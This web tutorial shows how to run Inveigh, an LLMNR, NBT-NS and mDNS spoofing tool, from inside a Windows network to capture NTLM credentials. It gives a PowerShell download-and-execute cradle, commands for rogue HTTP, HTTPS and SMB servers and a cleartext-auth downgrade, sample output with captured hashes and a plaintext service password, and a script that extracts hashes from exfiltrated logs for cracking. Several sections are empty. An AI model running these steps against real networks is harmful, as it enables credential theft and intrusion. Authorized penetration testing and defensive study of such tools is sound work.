Inveigh: Complete Guide to LLMNR, NBNS, and mDNS Spoofing Using Kali Linux

Inveigh: Complete Guide to LLMNR, NBNS, and mDNS Spoofing Using Kali Linux

Inveigh is the Windows/.NET/PowerShell counterpart to Responder — a spoofer and man-in-the-middle tool for LLMNR, NBT-NS, mDNS, and DNS on Windows networks. Where Responder is typically run from a Linux attack box (Kali) sitting on the network, Inveigh is designed to run from a compromised or authorized Windows host already inside the target network — making it especially useful during Active Directory engagements where you have a foothold (e.g., via C2 implant, RDP session, or an authorized internal test workstation) but no Linux box on that particular VLAN.

Inveigh ships in two actively maintained implementations:

Both perform the same core attacks: LLMNR/NBT-NS/mDNS poisoning, NTLMv1/v2 challenge-response capture, HTTP/HTTPS/SMB/LDAP rogue servers, and relay-friendly hash output, all without needing a separate Linux attack box on-segment.

Installation

Inveigh is not preinstalled on Kali (it’s a Windows-side tool) but Kali ships the source for reference and cross-compilation, and it’s commonly staged onto a Windows target during an engagement.

Option A — PowerShell version (no compilation needed):

# On the Windows host (with appropriate authorization):
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1')

Or, if transferring the file directly:

Import-Module .\Inveigh.ps1

Option B — InveighZero (.NET, compiled binary):

# From Kali, clone and build with .NET SDK, or download prebuilt release:
git clone https://github.com/Kevin-Robertson/Inveigh.git
cd Inveigh/Inveigh
dotnet build -c Release

Copy the resulting Inveigh.exe to the Windows host.

Verify (PowerShell version):

Get-Command Invoke-Inveigh

Verify (.NET version):

Inveigh.exe --version

Syntax

PowerShell:

Invoke-Inveigh [-PARAMETER <VALUE>] ...

InveighZero (.NET):

Inveigh.exe [OPTIONS]

Command-Line / Parameter Reference

PowerShell Invoke-Inveigh key parameters:

ParameterDescription
-LLMNR Y/NEnable/disable LLMNR spoofing (default Y)
-NBNS Y/NEnable/disable NBT-NS spoofing (default Y)
-mDNS Y/NEnable/disable mDNS spoofing
-HTTP Y/NEnable/disable rogue HTTP server
-HTTPS Y/NEnable/disable rogue HTTPS server
-SMB Y/NEnable/disable rogue SMB server
-Proxy Y/NEnable WPAD proxy server
-ConsoleOutput Y/NPrint captured events to console live
-FileOutput Y/NWrite captured hashes/log to disk
-OutputDir <PATH>Directory for output files
-NBNSTTL <SECONDS>TTL for spoofed NBT-NS responses
-SpooferIP <IP>IP address to spoof responses with
-SpooferHostsReply <NAMES>Only respond to specific hostnames
-SpooferHostsIgnore <NAMES>Ignore specific hostnames
-RunTime <MINUTES>Auto-stop after N minutes
-ShowHelp Y/NDisplay help/usage

InveighZero (Inveigh.exe) key options:

OptionDescription
-LLMNR Y/NEnable/disable LLMNR spoofing
-NBNS Y/NEnable/disable NBT-NS spoofing
-MDNS Y/NEnable/disable mDNS spoofing
-DNS Y/NEnable/disable DNS spoofing
-HTTP Y/NEnable/disable HTTP capture server
-HTTPS Y/NEnable/disable HTTPS capture server
-SMB Y/NEnable/disable SMB capture server
-ProxyIgnore Y/NControl WPAD/proxy behavior
-Elevated Y/NRun privileged-only listeners (SMB 445, etc.)
-ConsoleOutput Y/NLive console output
-FileOutput Y/NWrite to log file
-Cleartext Y/NAttempt to force cleartext/basic auth downgrade
-MachineAccounts Y/NInclude/exclude machine account ($) captures
-RunTime <MIN>Auto-stop timer
-IP <ADDR>Bind/spoof IP address

Interactive console commands once running (both versions expose a live command console via HELP, GET NTLMV2UNIQUE, STOP, etc.):

Console CommandDescription
HELPList live console commands
GET NTLMV1 / GET NTLMV2Dump captured NTLM hashes
GET NTLMV2UNIQUEDump only unique captured hashes
GET CLEARTEXTDump any cleartext credentials captured
STOPStop the running Inveigh instance
EXITExit console (Inveigh keeps running in background)

Basic Usage

PowerShell:

Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

Expected console output:

Inveigh 1.506 started at 2026-07-19T10:15:22
Elevated Privilege Mode = Enabled
Spoofer IP Address      = 192.168.1.50
Primary IP Address      = 192.168.1.50
LLMNR Spoofer           = Enabled
NBNS Spoofer            = Enabled
HTTP Capture            = Enabled
HTTPS Capture           = Disabled
SMB Capture             = Enabled

InveighZero:

Inveigh.exe -ConsoleOutput Y -FileOutput Y -Elevated Y

Expected output:

[*] Inveigh 3.0.0 started
[+] LLMNR spoofer: [ON]
[+] NBNS spoofer: [ON]
[+] SMB capture: [ON] (elevated)
[+] Console output: [ON]

Practical Examples with Output

Example 1 — Basic capture session (PowerShell)

Invoke-Inveigh -ConsoleOutput Y

Output on captured hash:

[+] [2026-07-19T10:16:04] NTLMv2 challenge/response captured from 192.168.1.22(WORKSTATION2)
CONTOSO\bjones::WORKSTATION2:1122334455667788:AABBCCDDEE...:0101...

Example 2 — Disable NBT-NS, keep only LLMNR (quieter fingerprint)

Invoke-Inveigh -LLMNR Y -NBNS N -ConsoleOutput Y

Example 3 — Timed run that auto-stops after 20 minutes

Invoke-Inveigh -RunTime 20 -FileOutput Y -OutputDir "C:\Temp\Inveigh"

Output:

[+] Inveigh will automatically stop after 20 minutes.
[+] Output directory set to C:\Temp\Inveigh

Example 4 — Dumping captured unique NTLMv2 hashes from the live console

> GET NTLMV2UNIQUE

Output:

jsmith::CONTOSO:1122334455667788:AABBCCDD...:0101000000000000...
bjones::CONTOSO:8877665544332211:FFEEDDCC...:0101000000000000...

Example 5 — InveighZero with HTTPS capture and elevated SMB server

Inveigh.exe -HTTPS Y -SMB Y -Elevated Y -ConsoleOutput Y

Output:

[+] HTTPS capture: [ON] (self-signed cert generated)
[+] SMB capture: [ON] (elevated, listening on 445)

Example 6 — Restricting spoofed responses to specific hostnames only

Invoke-Inveigh -SpooferHostsReply "FILESERVER","PRINTSERVER" -ConsoleOutput Y

Output:

[+] Spoofer will only respond to: FILESERVER, PRINTSERVER

Example 7 — Stopping the running instance cleanly

> STOP

Output:

[+] Inveigh exited cleanly at 2026-07-19T10:41:12
[+] Log file saved to C:\Temp\Inveigh\Inveigh-Log.txt

Example 8 — Exporting captured cleartext credentials (e.g., from HTTP Basic downgrade)

> GET CLEARTEXT

Output:

[+] Cleartext credentials captured:
CONTOSO\svc_backup:BackupP@ss2024

Common Use Cases

Automation with Bash

Since Inveigh itself runs on Windows, Bash is typically used on the Kali/Linux side to process exfiltrated log files after the engagement:

#!/bin/bash
# inveigh_postprocess.sh - Parse an exfiltrated Inveigh log for crackable hashes
LOGFILE="$1"
OUT="/tmp/inveigh_hashes_$(date +%Y%m%d_%H%M%S).txt"

if [[ -z "$LOGFILE" || ! -f "$LOGFILE" ]]; then
    echo "Usage: $0 <path-to-Inveigh-Log.txt>"
    exit 1
fi

grep -Eo '[A-Za-z0-9_\.]+::[A-Za-z0-9_\.]+:[0-9a-fA-F]+:[0-9a-fA-F]+:[0-9a-fA-F]+' "$LOGFILE" | sort -u > "$OUT"
echo "[*] Extracted $(wc -l < "$OUT") unique NetNTLMv2 hashes to $OUT"
echo "[*] Crack with: hashcat -m 5600 $OUT rockyou.txt"

Tips and Best Practices

Troubleshooting

ProblemCause / Fix
PowerShell script blocked from loadingAMSI/Execution Policy — engagement rules of engagement must authorize appropriate bypass techniques; do not attempt on unauthorized systems
No hashes capturedLLMNR/NBT-NS disabled via GPO, or Inveigh not elevated for SMB capture
Access is Denied binding to port 445Requires elevated/admin privileges — rerun with -Elevated Y from an admin context
InveighZero build failsMissing .NET SDK — install matching SDK version from Microsoft
Console commands not respondingConsole thread may be blocked — check -ConsoleOutput Y was set at launch

References

Exit mobile version